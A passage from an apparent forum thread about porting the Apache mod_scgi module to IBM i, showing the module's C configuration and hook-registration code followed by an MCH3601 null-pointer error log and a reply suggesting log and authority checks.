return c;
}
static const char *
cmd_mount(cmd_parms *cmd, void *dummy, const char *path, const char *addr)
{
int n;
apr_status_t rv;
char *scope_id = NULL; /* A ip6 parameter - not used here. */
scgi_server_cfg *scfg = our_sconfig(cmd->server);
mount_entry *new = apr_array_push(scfg->mounts);
n = strlen(path);
while (n > 0 && path[n-1] == '/') {
n--; /* strip trailing slashes */
}
new->path = apr_pstrndup(cmd->pool, path, n);
rv = apr_parse_addr_port(&new->addr, &scope_id, &new->port, addr,
cmd->pool);
if (rv)
return "error parsing address:port string";
return NULL;
}
static const char *
cmd_server(cmd_parms *cmd, void *pcfg, const char *addr_and_port)
{
apr_status_t rv;
scgi_cfg *cfg = pcfg;
char *scope_id = NULL; /* A ip6 parameter - not used here. */
if (cmd->path == NULL)
return "not a server command";
rv = apr_parse_addr_port(&cfg->mount.addr, &scope_id, &cfg->mount.port,
addr_and_port, cmd->pool);
if (rv)
return "error parsing address:port string";
return NULL;
}
static const char *
cmd_handler(cmd_parms* cmd, void* pcfg, int flag)
{
scgi_cfg *cfg = pcfg;
if (cmd->path == NULL) /* server command */
return "not a server command";
if (flag)
cfg->enabled = ENABLED;
else
cfg->enabled = DISABLED;
return NULL;
}
static const char *
cmd_timeout(cmd_parms *cmd, void* pcfg, const char *strtimeout)
{
scgi_cfg *dcfg = pcfg;
int timeout = atoi(strtimeout);
if (cmd->path == NULL) {
scgi_server_cfg *scfg = our_sconfig(cmd->server);
scfg->timeout = timeout;
}
else {
dcfg->timeout = timeout;
}
return NULL;
}
static const command_rec scgi_cmds[] =
{
AP_INIT_TAKE2("SCGIMount", cmd_mount, NULL, RSRC_CONF,
"path prefix and address of SCGI server"),
AP_INIT_TAKE1("SCGIServer", cmd_server, NULL, ACCESS_CONF,
"Address and port of an SCGI server (e.g. localhost:4000)"),
AP_INIT_FLAG( "SCGIHandler", cmd_handler, NULL, ACCESS_CONF,
"On or Off to enable or disable the SCGI handler"),
AP_INIT_TAKE1("SCGIServerTimeout", cmd_timeout, NULL, ACCESS_CONF|RSRC_CONF,
"Timeout (in seconds) for communication with the SCGI server."),
{NULL}
};
static void scgi_register_hooks(apr_pool_t *p)
{
ap_hook_post_config(scgi_init, NULL, NULL, APR_HOOK_MIDDLE);
ap_hook_handler(scgi_handler, NULL, NULL, APR_HOOK_MIDDLE);
ap_hook_translate_name(scgi_translate, NULL, NULL, APR_HOOK_LAST);
ap_hook_map_to_storage(scgi_map_location, NULL, NULL, APR_HOOK_FIRST);
}
/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA scgi_module = {
STANDARD20_MODULE_STUFF,
create_dir_config, /* create per-dir config structs */
merge_dir_config, /* merge per-dir config structs */
create_server_config, /* create per-server config structs */
merge_server_config, /* merge per-server config structs */
scgi_cmds, /* table of config file commands */
scgi_register_hooks, /* register hooks */
};
UPDATE to the UPDATE:
I have narrowed down the problem to the following Error Message MCH3601:
MCH3601 Escape 40 06/05/15 15:41:10.884937 MOD_SCGI QGPL *STMT MOD_SCGI QGPL *STMT
From module . . . . . . . . : MOD_SCGI
From procedure . . . . . . : our_dconfig
Statement . . . . . . . . . : 1
To module . . . . . . . . . : MOD_SCGI
To procedure . . . . . . . : our_dconfig
Statement . . . . . . . . . : 1
Thread . . . . : 00000039
Message . . . . : Pointer not set for location referenced.
Cause . . . . . : A pointer was used, either directly or as a basing
pointer, that has not been set to an address.
It looks like the web server is actually Apache, not WAS. What does the Apache log say?
Is the Apache user profile authorised to the mod_scgi service program, and to the library QGPL?